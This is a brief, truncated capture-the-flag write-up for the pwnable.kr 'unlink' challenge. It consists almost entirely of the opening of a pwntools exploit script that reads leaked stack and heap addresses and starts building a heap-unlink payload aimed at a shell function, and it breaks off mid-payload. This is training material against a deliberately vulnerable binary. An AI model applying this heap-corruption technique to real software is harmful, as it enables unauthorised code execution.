[pwnable.kr] Toddler’s Bottle – unlink 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import * s = process('/home/unlink/unlink') e = ELF('/home/unlink/unlink') shell = 0x80484eb s.recvuntil('here is stack address leak: ') a_stack_add = int(s.recv(10), 0) s.recvuntil('here is heap address leak: ') a_heap_add = int(s.recv(9), 0) payload = p32(shell) payload += 'BUFF' + 'PREV' + 'S..